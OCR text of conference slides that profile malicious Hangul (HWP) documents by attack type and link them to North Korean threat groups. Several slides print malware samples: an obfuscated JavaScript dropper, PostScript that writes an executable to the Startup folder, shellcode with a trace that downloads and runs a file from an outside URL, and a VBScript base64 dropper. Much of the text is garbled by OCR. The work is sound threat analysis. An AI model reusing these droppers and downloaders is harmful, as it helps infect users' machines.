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= 2015~2016
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= 2017~2018.06
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Profiling of Malicious Hangul Files VI'US

= Hwp Document File Formats 5.0
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Profiling of Malicious Hangul Files

VIrus

BULLETIN

= Hwp Document File Formats 5.0

[* Storage

i}
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Ko ox

Mo 18
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24 2o

HO|4 2| H[o]&

Oj2|E7| EIAE
Oj=2{&7] O[O}

[Z] Stream

[2] FileHeader

EI Doclnfo

[~ BodyText
=] Section0
=] Section
B

EI \OO5HwpSummaryInformation
[ BinData

=] BinaryData0

=] BinaryDatal

EI PrvText
EI Prvimage

[ DocOptions
=] LinkDoc
=] DrmLicense

Oj2|g7| HAE
O|2{=2] O[O|Z|
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Profiling of Malicious Hangul Files VIIUS
| Name |  Contents | Analysis Information

Signatures called Hangul

FileHeader : Check whether the file is a Hangul document file
document files
Within BodyText storage,
BodvText Check whether an invalid value is inserted in the
i Secxciono Stores content such as tag that indicates the paragraph text
: paragraphs, tables, and (HWPTAG_PARA_TEXT)
- Section1 ; :
i drawing objects
* Additional use of ViewText storage for
distribution documentation
[Llgiiate Ident'lfy e Uil authgr, : Can be used as various elements
Summary creation and last modification for Threat aroup orofilin
Information date of the HWPs group p J
BinData

Within BinData Storage,
Save images, OLE objects, and
PostScript as separate streams

- BinaryData0
- BinaryData1

|dentify unhealthy streams (OLE objects and
postscript) of saved streams

Save preview text as a

Prviext Unicode string

Understand the contents of the document body

Scripts
- Default)Script  Saving JavaScript as a Stream
- JScriptVersion in Scripts Storage

Check for malicious JavaScript (Macro)



Profiling of Malicious Hangul Files

= Classification - Malicious Hangul Files
= Macro
» PostScript
= Data Link

= Distribution
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Profiling of Malicious Hangul Files VIrus

= Classification - 1) Macro

= Javascript

AJEE A3JEE
oS 38
Docurment - Docurnent -
Open - Open -
B|& (= SEIEIRIE
H2 =2 Bt =20 |1 = H3 = gF= === |1 =
é {unctinn OnDocurnent_MNew)
3 FAodo
L}
5 function wies){try{t="2BCDEFGHIJKLMNOPQRSTUYWXYZ a
?’ { "D3MeDTZ TAUODRCwID+KLTOwB Vi DD Y TO+H B Wiy DR w0
8 F/todo:
9 }
10
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Profiling of Malicious Hangul Files

= Classification - 1) Macro

= Javascript

while(d>15) {d>>=4;h=hD.substr(d&l5,1)+h;};return h;};this.h2d = function(h) { return
parselnt(h,16); }; this.WriteAll = function(what) {var strl = "ADOD";var str2 = "B.S"; var
str3 = "TREAM"; var BinaryStream = new ActiveXObject(strl + str2 + str3); BinaryStream.Type =
adTypeText; BinaryStream.CharSet = '437'; BinaryStream.Open(); BinaryStream.WriteText(this.
Forward437(what)); BinaryStream.SaveToFile(this.path, adSaveCreateOverWrite); BinaryStream.
Close(); }; this.Forward437 = function(inString) { var encArray = new Array(); var tmp="";
var i=0; var c=0; var 1=inString.length; var cc; var h; for(Gi<l;++i) { c++; if(c=128) {
encArray.push(tmp); tmp=""; c=0; }; cc=inString.charCodeAt(i); if(cc<128) { tmp+=String.
fromCharCode(cc); }; else { h=this.d2h(cc); h=forward[' '+h]; tmp+=String.fromCharCode(this.
h2d(h)); }; }; if(tmp!="") { encArray.push(tmp); }; var ar2=new Array(); for(;encArray.length
>13) { var l=encArray.length; for(var c=0;c<1;c+=2) { if(c+1==1) { ar2.push(encArraylcl); };
else { ar2.push(’ '+encArray[cl+encArray[c+11); }; }; encArray=ar2; ar2=new Array(); }; return
encArray[0]; }; }; function delay(gap){ var then,now; then=new Date().getTime(); now=then;
while((now-then)<gap) { now=new Date().getTime(); };}; try{var bfO=new BinaryFile();var
gifExel = unescape(
'I)ét’l(i%'ﬁa%?){)%()(‘ 0 36007%007%600%04600600%00% T TAT TH00%007%h8%00%004600%007%00%00%007%40%007%00%00%5007%6007%00
#007%007%00%007%00%007%00%007%007%00%00%00%004007%007%007%004007%00%007%007%00%007%6007%00%0076004007%00%b 00 0%
00%00%0e% 1 FabakexD0%ba709%Cdn2 1%b8%0 144 Chcdn2 1654468%09% 7 3%620% 1 0% ] 266 TH6 T 1 2%6 1600%20%0 3%6 1%0
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Profiling of Malicious Hangul Files VI'US

= Classification - 2) Postscript

= Ghostscript engine
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Profiling of Malicious Hangul Files

=.
=)
-
77

BULLETIN

&

= Classification - 2) Postscript

= Ghostscript engine

Program Files » Hnc » Common80 » ImgFilters » GS » gs8.60 » bin

@7] A=

o
= AT S} LH} =g
p—l Jm— " !

=] gbb.exe 2010-02-12 @F .. =28 S
@] gsdll32.dll 2010-02-12 X S8 T2 HX
g gswin32.exe 2010-02-12 2W.. SE =K
8 gswin32c.exe 2010-02-12 @F.. =22 Sz =

-
AR

—— L

a .

151 L
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Profiling of Malicious Hangul Files Vi

= Classification - 2) Postscrip ._||rjamnata

= Ghostscript engine

. «¢ Program Files » Hnc » Common80 » ImgFilters » GS

=) =7 M =G

=T gbb exe
%) gsdli32.dll
g gswin32.exe

BINCGCO1.bmp
BINGUOZ jpeg
BINGOO3.png
BINOOO4L. jpeg
BINOOOS.png
BINOOOG.PS

2010-02-12 2 I_I E‘ BodyText
2010-02-122 | -[=| SectionO

' 8 gswin32cexe

201002122 | i.[5] Sectionl

|—| E' DocOptions

. .| _LinkDoc

= E' Scripts

L -.{| Default)Script

- .|| JScriptversion

]| |HwpSummaryinformation



Profiling of Malicious Hangul Files

BULLETIN
= Classification - 2) Postscript
= Ghostscript engine
« Program Files » Hnc » Common80 » ImgFilters » GS » gs8.60 » bin - ’¢f|
E7 M EGH
A= ; FES 2 9% 37|
=T gbb exe 2010-02-12 2H®.. S22 =Z=7)E 45KB
%) gsdli32.dll 2010-02-12 2H. 282 =71 BH 6,977KB
g gswin32 exe 2010-02-12 ¥, SE Zz7)H 141KE
£ gswin32c.exe 2010-02-12 2% . =282 S 133KB
E|pr.exe 59,164 kK 53,160 K. 3544 Hancom Office Hanword,,, Hancom Inc{HNGC ],
1,496 K 1075

EEL

HimTraylcon,exe

N3z, exe

5,556 K,

300

Name

advapi3z dil
apizetzchema,

Cammand Line:

"R Program Files¥HnoW Common30& mgFilters®gs¥gs8 60 bintgswin3ic exe” @O UsersWpt¥tAppData®Local®Tem

p¥gsabtds tmp
Fath:

CR#Program Files®¥Hnc® CommonSi# imgFilters¥ 5 5% gs8 B0R#bin¥gswin32c exe

comctl 32 dil
comdlg3z.dil
gdi3z.dll
g=dll32,dll
gzwin3Zc,exe
imm3Z,dll

d=er Experience Contrals Lib,,,

Common Dialogs DLL
01 Client DLL

Multi-User Windows IMM3Z A,

KMicrozoft Corporation
Microzaft Corparation
Microsaft Carparation

Microzoft Corparation

R IndowsFwins xeWob_microzoftwindows co,,,

CERWIindows¥Syatem3Z2¥®comdlg32.dll
CHEMWIndows'WSystem 32w gdidz dll

C#Program Files®¥Hnco®% Common8#imgFilterss,,,
CAProgram Files¥Hno®WCommondf@ imgFilterss,.,

CERWIndows'# Sy stem3IZWRimm3Z, dll

33



Profiling of Malicious Hangul Files VI'US

= Classification - 2) Postscript
= 2-1) Embed File
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Profiling of Malicious Hangul Files Vi

= Classification - 2) Postscript
= 2-1) Embed File

/concatstrings % (a) (b) —> (ab)

{
/datastring 1024 string def
{
(temp) getenv
{
J/tmppath exch def
/concatstrings tmppath (\\..\\..\\Roaming\\Microsoft\\Windows\\Start
Menu\\Programs\\Startup\\iPodService.exe)
concatstrings (w) file /out exch def
{
currentfile datastring readhexstring
{
out exch writestring
}
{
Hoop
out closefile
}
{
}bind
exec

d5a90000300000004000000 f T T000ObE0000VVDDO00VVN400000000000000000000000000000000000DVVVVDOOD
0000000000000000000000000e80000000e1 Tbabeddb409cd21b8014ccd21546869732070726T6772616d2063616
€67742062652072756e20696e20444153206d6T64652e0d0d0a24000000000000003ce /0b97788665c4788665c47
665c4ebc8Tdc4798665c4631bThc46b8665c4631bcTcd248665c471Tefbcd7T8665c4788664c41b8665c4631bcec 41 / 1 33
18665c4031bfTc4798665c4631bT8c4798665c452696368788665c40000000000000000000000000000000050450)




Profiling of Malicious Hangul Files VI'US

= Classification - 2) Postscript
= 2-1) Shellcode

42/133



Profiling of Malicious Hangul Files

= Classification - 2) Postscript

= 2-1) Shellcode
Nop Sled Code

FCEBAEQOO000608BEC33D2648B52308B8520C8B852148B7228528B521088423(8B844027885(C0744803C2508848188B582
DO3F8EBF43B7D24 75E3588B582403DA008B0C4B8B581C03DA8BA48BA3C2894424205A61595A51 FFEOS85A8812EBA16A40680010001
S5008361A2F 7TOFFD5C30A008B4C2414510898 FESAOEFFD5C30A000AFFO883B9B5 78 FFD5SC35D686F0EOD006875726C6D54088E4EDEE
08B74240403F0C70661796C63C746042E057865C7460800000000EB1B8B4C24086B1C2451E886FFFFFFES9OFFFFFFEB9AFFFFFF83!
6E?3656£696E6?6D61?2?269616?6566616D696£?92E636F6D2F???@2D696E636C?56465?32F?265?@?26F2Eﬁﬂ?ﬂﬁ?ﬂﬂﬂﬂgﬂﬂdef |

def Al}repeat}def A/D41 5 dict def D41 begin/K_ 1 1000 array def/K 2 10000 array def/K 3 1000 array def/K
1000 array def/K 7 1000 array def/K 8 1000 array def D41 end/D42 3 dict def D42 begin/K 1 1000 array def |
def/D45 exch def exit} if pop pop 44 string pop 44 string pop 44 string pop 44 string pop 44 string pop
44 string pop 44 string pop 44 string pop 44 string pop 44 string pop 44 string pop 44 string pop 44 stri
pop array pop array pop array pop array pop array 1 1280 put 35 string pop 35 string pop 35 string 0
<000000DOTTO30000030000000000000000000000444444440005000000000000000000>putinterval/D43 D43 1 add def} fol
<00000ONDNDC3C31008000000022222>search{length/D48 exch def pop pop}/D46 exch def/D47 exch def dup<0000000!
exch def pop pop}/B{pop 193883243 B 0}bind def/B{pop 399732316 B 0}bind def/B{pop 199383283 B 0}bind def/|
B 0}bind def revision 871 eq{/D41 5 dict def D41 begin/K_1 1000 array def/K_2 10000 array def/K_3 1000 ar
def/K_6 1000 array def/K 8 1000 array def D41 end D41}if/B{pop 485499355 B 0}bind def/B{pop 193874382 B 0.
pop 3883823 B 0}bind def/B{pop 0 B 0}bind def/B{pop 1024 B 0}bind def/B{pop 4 B 0} bind def/B{pop 4832938
/product B 0
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Profiling of Malicious Hangul Files

= Classification - 2) Postscript

= 2-1) Shellcode (Download & Exec)
Nop Sled Code

WC ) IAOLRC IR ORC ) YO 70 C IR o . o C 7 3 C O O . C33 3 ACA3IICE I I r
0 2 S8 208 2 14887228528 Y 8B423C8B44027885( 74808 JC2508B48188 o2 JDAEZ3A498 140 WF233 2CAACBA( TAR T

iy f 28
v 4 [ FAmbl

bE/3656C696E676D6172726961676560616D696C792E636F6D2F777020696E6306C756465732F726570726F2E6AT067 bdef {fAl strlng dup D4@ putlnterval
def Al}repeat}def A/D41 5 dict def D41 begin/K 1 array deT/K 2 array def/K 3 array def/K 4 array def/K 5 array def/K 6
array def/K_7 array def/K 8 array def D41 end/D42 3 dict def D42 begin/K 1 array def D42 end /D43 0 def D41{D43 1 eq{/D44 exch
def/D45 exch def exit} if pop pop string pop string pop string pop string pop string pop string pop string pop string pop
string pop string pop string pop string pop string pop string pop string pop string pop D42 D41 copy pop array
pop array pop array pop array pop array pop array put string pop 35 string pop string
\::ZZZZZZ::ZZZZZZZZZZZZZZZZZZZZZZ::::::::44444444:::2::::::::::::::::::>put1nterval/D43 D43 1 add def} forall/D46 exch def/D47 exch def dup
(0000000000 )0C3C31008000000022222>search{ length/D48 exch def pop pop}/D46 exch def/D47 exch def dup<0000000000C3C31008000000011111>search{length/D48
exch def pop pop}fB{pop B 0}bind def/B{pop B 0}bind def/B{pop B 0}bind def/B{pop B 0}bind def/B{pop
B 0}bind def revision eq{/D41 5 dict def D41 begin/K 1 array def/K 2 array def/K 3 array def/K 4 array def/K 5 array
def/K_6 array def/K_8 array def D41 end D413}if/B{pop B 0}bind def/B{pop B 0}bind def/B{pop B 0} bind def/B{
pop B 0}bind def/B{pop 0 B 0}bind def/B{pop B 0}bind def/B{pop 4 B 0} bind def/B{pop B 0}bind def/B{pop B 0}bind def

/product B

4010c7 LoadLibraryA{urmon)
401089 VirtualAlloc{base=0 , sz=400) = 600000
4010da GetTempPathA{len=104, buf=600000) = 1f

401098 URLDownloadToFileA(http://www.counsel ingmarriagefamily.com/wp-includes/repro. jpg,
WAppDataWlLocalWTempWay | c.exe)

A010a7 WinExec(C:#WUsersHptHAppDataWL ocal WTempWay | c.exe)

4010b3 TerminateProcess() = 1




Profiling of Malicious Hangul Files Vi

= Classification - 2) Postscript

= 2-1) Shellcode (Drop & Exec)

/A3 { token pop exch pop } bind def
/A2 <B4A5(D16C> def
/Aa{ - A4byte-key
/A1 exch def
. Al length 1 sub {

/A5 exch def
Al AS / copy get A2 A5 < mod get xor put
} for L XOR
Al Encoded Shellcode'1
} def « E1FDC3980D000 7 3385099400E92EF 1099455 218E126840CE 15081099 2EF11FEYZ2EBO L
<33F>

«Encoded - Shellcode = i

| DUZSDETIBE> A4 A3 exec
ﬁl‘ﬁ'?????zrl’/ﬂﬂﬁ'/! *7319 7?*'/l' 222 PHM "‘"IPFZ P"/P f’ﬂzﬂ' |



Profiling of Malicious Hangul Files VI'US

= Classification - 3) Data Link
= Like Hyper-link
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Profiling of Malicious Hangul Files

= Classification - 3) Data Link
= Like Hyper-link

= HWP, webpage, E-mail, External application document
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Profiling of Malicious Hangul Files

= Classification - 3) Data Link
= Like Hyper-link

= HWP, webpage, E-mail, External application document

olO|IHE 3 ED|2 Xt= HZ2| XI0|
oIO|IHE A ED|2 Xt ¢& Js2 S 22 10| &

olO|IHE 3 A= oA
£ A E B A E
== ﬂ{%—sﬂ-—ﬂﬂ ) )
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Profiling of Malicious Hangul Files VIrus

BULLETIN

= Classification - 3) Data Link
= Like Hyper-link

= HWP, webpage, E-mail, External application document
EFoHe 2UT(EUR) TY AT ES AFANULEA,

SHFSHIUIR I BAE AUAIER 22

3 < o2 GRIFESET M=SAIUEESY AR o2 &3tz SItQE¥o] &
ElQiAL, olojA I AP A R SIEAT AHANRE 25 o0hR HASUH

0
.
|

=g =ostut guct

oo of=fiet o] BAY NS €A t=d ¢

il
b

(1) 3. AF7Hxe] BAAAE NP AFLEA AUN2Y o] FYEE WY
2 BQUOE opxg BEe Baguch ol thAl $URo] BIAAWY Aol o
3 712 9%std, Ukl LRIATHE TEL WY TAFLES BAD WA
ORI 97 JRUSHE AlelE Zat LU

yu

)
o

N
Bl W o



Profiling of Malicious Hangul Files

VIrus

BULLETIN

= Classification - 3) Data Link
= Like Hyper-link

= HWP, webpage, E-mail, External application document

rp

At

r|r
fifo

QI5(291T) B UAFLET RIAULEA,

SMEEHILIZE? O ZAE AAIER Q2

El ojojd 1 A1BP A R

.lﬂl.J

olo] ot &ol EAF ¢

At 2 FAFEES =AUEEY dA

Hoz2 njgetiz SeEHo] &4

Mol b
2T HYAYE 2T npa HYPSu

(1) 370, A27HRQ Bae
2 BJUCHYE oix|at "
z 72 oXsto, HAsH
x|t oA 7FIsHE At

] « 1 | Il
202 =HU=E 129 dE M3 EM ! cWtempWhncmoduleupdate, vbs oE E
Alse 993 Jx)
HANE SAE(T): Nk}
HE S IR HEEIAHOE =M T A
A= [HarE) it wTempWwHnoModuleUpdate, vbs .

2l <-4 2EE)



0 =] O LN B L) B

26
27
28
29
30
31
32
33
34
35

Option Explicit

const streEncode = "WQOM-MMMIKSMLQMMAAQS
DIM outFile U
DIM base64Decoded

DIM shell obj

SET shell _obj = CreateObject("WScript.Shell™)

DIM fso

SET fso = CreateObject("Scripting.FileSystemObject™)

outFile = "c:\ProgramData\HncModuleUpdate.exe”
base64Decoded = decodeBase64(strEncode)

IF NOT(fso.FileExists(outFile)) then
writeBytes outFile, base64Decoded
shell_obj.run outFile

END IF

WScript.Quit()

Hprivate function decodeBase64(base64)
DIM DM, EL
SET DM = CreateObject("Microsoft.XMLDOM")
SET EL = DM.createElement("tmp")
EL.DataType = "bin.base64”
EL.Text = basebtd

- decodeBaset4 = EL.NodeTypedValue

Tend function

Hprivate Sub writeBytes(file, bytes)
DIM binaryStream
SET binaryStream = CreateObject("ADODB.Stream™)
binaryStream.Type = 1
binaryStream.Open
binaryStream.Write bytes

- binaryStream.SaveToFile file, 1

Fnd Sub




Profiling of Malicious Hangul Files VI'US

= Classification - 4) Distribution

* Limit Copy/Print
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Profiling of Malicious Hangul Files

= Classification - 4) Distribution

* Limit Copy/Print
]

&
7
i
w0

=AM 2= ZOCIEM F0 SN i =& ) M
g3 a1 HE M2 =A A&
D - E - E - E E - EH"EL% - e HE hall L - ||

B xS A= A2 L

I SMH LES ARG (DI HEH
: U [2AHEHE SEELICH IHES
e SME HEIS EM=E U E D20
: MEE 2 S &LICH
%

e D TELE 24T <FI> S FEME
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Profiling of Malicious Hangul Files Vi

= Classification - 4) Distribution

* Limit Copy/Print
]

IF(Fy WEEY ~  HE2iuy - s - MW - Fiwh - HEH)

- - - -

(& B = 5 =
2N YE ZOlOIEN BO SN HE= EoF2 M

B StzE HAFMT 2 HE =

D - E - E - E E - - EH"EL% - 5 HIE -7 -

B xS A= A2 b

I SMH LES ARG (DI HEH
: U [2AHEHE SEELICH IHES
e SME HEIS EM=E U E D20

: MEE 2 S &LICH

I @ S2Ts BET FIbE SEHE
WEE SHE A= 7 X
M) SFW: [rrres HED)
b HOIRN: [rrnns Sx
He gE
21014 HEHP) =M HEHY)
SE= R 014 BIEIEH 8,
HHES 2412 HES SHE 2 02 54/133
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Profiling of Malicious Hangul Files

= Classification - 4) Distribution

* Limit Copy/Print

I3
meE | BaE - 2w - gEo - saw - sw - [Eooi 250
Ly L&
- @
HES WES A
R ET
D- - = i\
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Profiling of Malicious Hangul Files

= Classification - 4) Distribution

* Limit Copy/Print

I3
meE | BaE - 2w - gEo - saw - sw - [Eooi 250
D )
— —H
HES WES A
R ET
O~ = - = t T

=) Root Entry

=

i.]-] Section0
B2-F) DocOptions

-] |HwpSummarylnfermation
-|=| Docinfo

|| FileHeader

=] Prvimage

=] PrvText

56/133



Profiling of Malicious Hangul Files

VIrus

BULLETIN

= Classification - 4) Distribution

* Limit Copy/Print
]

= WEE - 22 -

D- -

=) Root Entry

=R ] B odyText

i.]-] Section0
B2-F) DocOptions

-] |HwpSummarylnfermation
-|=| Docinfo

|| FileHeader

=] Prvimage

=] PrvText

H
=
Y

=-F) Root Entry

217 BodyText

R} ViewText

L[| Section0
-[=| |HwpSummarylnformation
-[=| Doclnfo
-[=| FileHeader
-[=] Prvimage
-[—] PrText
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Profiling of Malicious Hangul Files

VIrus

BULLETIN

» Classification - 4) Distribution
= Shellcode

01209£30
01209£40
01209£50
01209f60
01209£70
01205£80
012095£50
01205fa0
01205£fb0
01209£c0O
012095£d0
012095fe0

24
24
24
56
S0
P4 e
Oa
4d
53
4d
4a
57

12
12
12
52
79
41
41
4d
42
41
41
47

24
24
24
53
£9
cO
66
4a
55
4a
4b
56

12
12
12
55
8b
el
81
45
50
41
41
50

24
24
24
51
da
04
£9
4a
50
4a
4a
59

12
12
12
33
83
88
ko
46
4d
46
41
50

24
24
24
cS
c2
04
03
4d
4b
4f
4a
59

12
12
12

3£
Oa
T2
41
41
49
46
50

24
24

24
80
8a
e4
59
4b
55
4d
59

12
12
od
12
3a
44
4a
4b
41
4f
46
4f

24
24
S0
24
S0
4a
4a
4c
59
56
50
55

12
12
S0
12
74
01
14
46
49
45
46
47

24
24
S0
42
ic
2c
4d
55
4f
4b
L |
<=

12
12
S0
8a
8a
4a
4d
4d
44
4f
45
S0

24
24
S0
02
04
00
53
4b
52
S6
53
56

12
12
57
3c
4a
04
44
S0
41
41
4a
44

.Af..q.r.JJDMMSD
MMJEJFMAYRLFUMERP
SBYPPMRARAYIODRA
MAJAJFOIUOVIKOVA
JARAJAJFMFPFQISJ
WGVPYPYPYOUGNPVD

=-F) Root Entry

=-F) Scripts

=-F) BodyText

-[=| |HwpSummarylnformation
-[=| Doclnfo
|- | FileHeader

-=] Prvimage
=] PrvText
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Profiling of Malicious Hangul Files VI'US

= Type of Malicious Hangul files

= Documents of Korean
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Profiling of Malicious Hangul Files Vi

= Type of Malicious Hangul files

= Documents of Korean

Cre [ e

H-JS
H-PS-F
H-PS-S-1
H-PS-S-2
H-PS-S-3
H-PS-S-4
H-PS-S-5
H-PS-S-6
H-PS-S-7
H-DL
H-DS

Embed the file in Macro function

Embed the file in Postscript

Simple downloader-type shellcode

Downloader-type shellcode using dual decoding routines

PostScript with lodear-type shellcode and binary, XOR encoded with 4-byte key
Postscript with loader-type shellcode and encoded binary

PostScript with 1-byte XOR encoded shellcode and encrypted binary
Downloader-type shellcode, XOR-encoded with 1-byte key

Downloader-type shellcode, XOR-encoded with 1-byte key and 0x00 ~ OxFF
Abuse the ‘Data Link’ function of linking references with hyperlinks

“HWP for distribution” encrypts the text stream under ViewText storage

I/ I



Profiling of Malicious Hangul Files VIFUS

= Type of Dropped/Downloaded Malwares

= And Evil Binary

= Manuscrypt (Kaspersky)
= Core.dll (McAfee)

= ROKRAT (CISCO TALOS)
= Kimsusky (Kaspersky)

_Tyee | Feawrs

M-SD Simple Downloader

M-MS Manuscrypt

M-CD Core.dll (ExportName: CoreDn)
M-RR ROKRAT

M-KS Kimsuky series
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Contents

= Relationships
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Relationships

= Threat Groups
= Related Campaign DOKKAEBI

Threat Activity . .

Global and Korean domestic
financial companies
Officials and users

of crypto-currency exchanges

Bluenoroff

Infrastructure, Government,
North Korean defectors and
politicians

Kimsuky

Diplomatic and North Korean
Human Rights Organizations and
People

Scarcruft

Confidential
information
takeover and
monetary gain
(SWIFT, crypto-
currency)

Information
gathering and
social confusion

Information
gathering and
information
destruction
purposes

2015~

2013 ~

2016 ~

SWIFT illegal
transaction of central
bank of Bangladesh

KHNP cyber terrorism
(2014)

Attack
using Flash Zero Day
(CVE-2016-4171,
CVE-2018-4878)

A A g



Relationships

= Type of Malicious Hangul files

= Documents of Korean
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Relationships Vi

= Type of Malicious Hangul files

= Documents of Korean

Cre | e

H-JS
H-PS-F
H-PS-S-1
H-PS-S-2
H-PS-S-3
H-PS-S-4
H-PS-S-5
H-PS-S-6
H-PS-S-7
H-DL
H-DS

Embed the file in Macro function

Embed the file in Postscript

Simple downloader-type shellcode

Downloader-type shellcode using dual decoding routines

PostScript with lodear-type shellcode and binary, XOR encoded with 4-byte key
Postscript with loader-type shellcode and encoded binary

PostScript with 1-byte XOR encoded shellcode and encrypted binary
Downloader-type shellcode, XOR-encoded with 1-byte key

Downloader-type shellcode, XOR-encoded with 1-byte key and 0x00 ~ OxFF
Abuse the ‘Data Link’ function of linking references with hyperlinks

“HWP for distribution” encrypts the text stream under ViewText storage

VI 100



Relationships

= Type of Dropped/Downloaded Malwares
= And Evil Binary
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Relationships Virus

= Type of Dropped/Downloaded Malwares

= And Evil Binary
= Manuscrypt (Kaspersky)
= Core.dll (McAfee)
= ROKRAT (CISCO TALOS)
= Kimsusky (Kaspersky)

| Type | Featwes
M-SD Simple Downloader

M-MS Manuscrypt

M-CD Core.dll (ExportName: CoreDn)

M-RR ROKRAT

M-KS Kimsuky series
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Relationships

= Classification by each Threat Group
= Bluenoroff:
= PostScript (H-PS-F / H-PS-S-3/4/5/6/7)
= Scarcruft:
» PostScript (H-PS-S-1/2), Data Link (H-DL)
= Kimsuky:
= Document for distribution (H-DS)
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Availability of Dropper/ Threat
Feature Type vulnerabilities Embeded Downloader Malware Group
Macro Normal :
(Javascript) H-JS Function File Dropper Downloader -
: Normal :
Postscript H-PS-F Function File Dropper Manuscrypt | Bluenoroff
: H-PS-S -
Postscript 1 Vulnerability Shellcode | Downloader ROKRAT Scarcruft
: H-PS-S -
Postscript 2 Vulnerability Shellcode | Downloader ROKRAT Scarcruft
: H-PS-S - Manuscrypt
Postscript 3 Vulnerability Shellcode Dropper CoreDn Bluenoroff
: H-PS-S .
Postscript 4 Vulnerability Shellcode Dropper Manuscrypt | Bluenoroff
: H-PS-S .
Postscript 5 Vulnerability Shellcode Dropper Manuscrypt | Bluenoroff
: H-PS-S .
Postscript 6 Vulnerability Shellcode | Downloader | Manuscrypt | Bluenoroff
: H-PS-S .
Postscript 7 Vulnerability Shellcode | Downloader | Manuscrypt | Bluenoroff
Data Link | H-DL Szl File Dropper ROKRAT | Scarcruft
Function
Distribution H-DS Vulnerability Shellcode Dropper Kimsuky Kimsuky

33



Relationships

» Classification Timeline
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Relationships

H-JS

2015-
04

2015-
07

2016-
05

2016-
08

2016-
09

2016-

2016-

2016-

2017-
01

2017~
02

2017-
03

2017-
04

2017-
05

2017-
06

2017-
Q7

2017-
08

2017-
09

2017-

2017-

2017-

2018-
01

2018-
02

2018-
03

2018-
04

2018-
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Relationships

H-JS

2015-
04

2015-
o7

2016-
05

2016-
08

2016-
09

2016-

2016-

2016-

2017-
01

2017-
02

2017-
03

2017-
04

2017-
05

2017-
06

2017-
Q7

2017-
08

2017-
09

2017-

2017-

2017-

2018-
01

2018-
02

2018-
03

2018-
04

2018~

H-DS

H-PS-5-1

H-PS-5-2

H-DL

72/133



Relationships

2015-
04

2015-
07

2016-
05

2016-
08

2016-
09

2016-

2016-

2016-

2017-
01

2017~
02

2017-
03

2017-
04

2017~
05

2017-
06

2017-
o7

2017-
08

2017-
09

2017-

2017-

2017-

2018-
01

2018-
02

2018-
03

2018-
04

2018-

2018~

H-DS

H-PS-5-1

H-PS-5-2

H-DL

H-PS-F
(M2)

H-PS-F
(-M2)

H-PS-F
(LNK)

H-PS-S-3
(XOR-4byte)

H-PS-S-3
(yaoshi)

H-PS-5-4

H-P5-5-5

H-PS-S-6

H-PS-5-7




Relationships V
| Name | Contents | AnalysisInformation |

Signatures called Hangul

FileHeader : Check whether the file is a Hangul document file
document files
Within BodyText storage,
BodvText Check whether an invalid value is inserted in the
i Secxciono Stores content such as tag that indicates the paragraph text
) paragraphs, tables, and (HWPTAG_PARA_TEXT)
- Section1 . :
i drawing objects
* Additional use of ViewText storage for
distribution documentation
/008Hwp Ident'lfy the title, authgr, . Can be used as various elements
Summary creation and last modification for Threat aroun brofilin
Information date of the HWPs group p J
BinData e
- BinaryData0 Wit Enieie SweEge, |dentify unhealthy streams (OLE objects and

Save images, OLE objects, and

~ BMETYREIEN PostScript as separate streams

postscript) of saved streams

Save preview text as a

Prviext Unicode string

Understand the contents of the document body

Scripts
- Default)Script  Saving JavaScript as a Stream
- JScriptVersion in Scripts Storage

Check for malicious JavaScript (Macro)



Relationships

= Summary Information - Author
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Relationships

= Summary Information - Author (Kimsuky)

Prosecutors, North Bissau to find evidence focused

a gun-type bomb spreads via e-mai on the Sth

'm just the abity to destroy data

plans seems to have leaked from other sources, such as

The malicious code hidden in e-mails sent to employ

ees of Korea Hydro & Nuclear Power (KHNP) on S

T eptember © was ‘bomb-type” that destroyed all the
OV BB AR B data of the infected computer. It is presumed that th
Malicious code’ Hangul fie. The user na e attack aimed at destroying and shutting down the

me is "John’ (red circle) as in cyber terr servers of the nuclear power control system (SCAD
orism last year. (PhotoHawley) A).

Sdet Wi

“The first analysis of 300 kinds of malicious codes distributed in KHNP was a function
of destroying the data of the infected computer like a hand grenade,” said Lee Jae-soo, h
ead of the Seoul Central District Prosecutor’s Office. He added, “Since there is no data le
akage function, there is a high possibility that the nuclear power plant drawings released b
y the intimidators were leaked to other routes before the 9th.” Hangul files hackers hiding
malicious code, ‘specification.hwp’, ‘transmission line.hwp’ was a fake data. It seems th
at the time of malicious file generation has been prepared for a long cyber attack from A
pril last year to October this year.

The collective means is focused on the possibility that the cyber attack on KHNP is likel
y to be carried out in North Korea, and is gaining the ability to find evidence. In particular,
the name of the worker (PC user) who last modified the Hangul file with hidden malicious
code is the same as the user name “John’ of one of the six PCs in North Korea mobilized
during '3 + 20 cyber terrorism’ Confirmed. The ID of the Twitter (john_kdfifj1029) and
Facebook account (Jenia John), which hackers published as a “group opposing the nucle
ar power” and released the leak data from the 15th, begins with “John”.
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Relationships

= Summary Information - Author (Kimsuky)

Prosecutors, North Bissau to find evidence focused

a gun-type bomb spreads via e-mai on the Sth

'm just the abity to destroy data

plans seems to have leaked from other sources, such as

_ The malicious code hidden in e-mails ser

WY [SMA%| SNEA [g85e | Ig 5y | ees of Korea Hydro & Nuclear Power (t
s 015 4 9 < eptember 9 was ‘bomb-type” that dest
OHISt 3o WR: 20144 114 2890 28% 27 932101 . .

RS AR AR data of the infected computer. It is pres
e attack aimed at destroying and shuttir

"Malicious code’ Hangul file. The user na
me is "John’ (red circle) as in cyber terr servers of the nuclear power control Sy¢

orism last year. (PhotoHawley) A) .

“The first analysis of 300 kinds of malicious codes distributed in KHNP was
of destroying the data of the infected computer like a hand grenade,” said Le:
ead of the Seoul Central District Prosecutor’s Office. He added, “Since there i
akage function, there is a high possibility that the nuclear power plant drawing

Y [SMay| SAWA [gasy | J8 5y |
3432! 81}‘ 2013 43 S 8% &% 4:16:08
OIS =32 Wi 20141 113 28% 288 &M 9:32:11

OIS ABE AR

"Malicious code’ Hangul file. The user na
me is ‘John’ (red circle) as in cyber terr
orism last year. (PhotoHawley)

y the intimidators were leaked to other routes before the 9th.” Hangul files hacncis 1muny

malicious code, ‘specification.hwp’,

‘transmission line.hwp” was a fake data. It seems th

at the time of malicious file generation has been prepared for a long cyber attack from A

pril last year to October this year.

The collective means is focused on the possibility that the cyber attack on KHNP is likel
y to be carried out in North Korea, and is gaining the ability to find evidence. In particular,
the name of the worker (PC user) who last modified the Hangul file with hidden malicious
code is the same as the user name “John’ of one of the six PCs in North Korea mobilized
during '3 + 20 cyber terrorism’ Confirmed. The ID of the Twitter (john_kdfifj1029) and

Facebook account (Jenia John), which hackers published as a “group opposing the nucle

ar power” and released the leak data from the 15th, begins with “John”.
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Relationships

= Summary Information - Author (Kimsuky)

Prosecutors, North Bissau to find evidence focused
a gun-type bomb spreads via e-mai on the Sth

'm just the abiity to destroy data R ——
